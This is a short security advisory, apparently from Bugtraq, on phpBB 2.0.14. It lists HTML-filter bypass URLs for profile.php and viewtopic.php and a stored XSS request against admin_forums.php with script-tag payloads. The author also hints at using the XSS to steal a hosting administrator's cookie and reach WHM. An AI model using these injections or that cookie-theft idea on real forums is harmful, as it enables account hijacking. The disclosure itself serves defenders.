QUOTE

Program: phpBB 2.0.14
Homepage: http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.14 & Lower versions
Risk: Low Risk!!
Impact: Multiple Vulnerabilities.

      -==phpBB 2.0.14 Multiple Vulnerabilities==-
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- Description
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phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
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localhost & many forums


- Explotation
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          -==Bad Filter of HTML Code==-
phpBB2/profile.php?mode=viewprofile&u=\[]\
phpBB2/viewtopic.php?p=3&highlight=\[]\
#########################################################
                    -==XSS==-
POST /admin/admin_forums.php?sid=7bd54a5a9861ef180af78897e70 HTTP/1.1
forumname=<script>alert('NST')</script>&forumdesc=<script>alert('NST')</script>&c=1&forumstatus=0&prune_days=7&prune_freq=1&mode=createforum&f=&submit=Create new forum

Some people cannot find it interest someones yes but well i dont care because if you put some effort you know that
you can do a lot with this, like fooling the Admin of the Hosting to get his cookie & and then get access to whm...

- Credits
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Discovered by HaCkZaTaN



Source: http://seclists.org/lists/bugtraq/2005/Apr/0383.html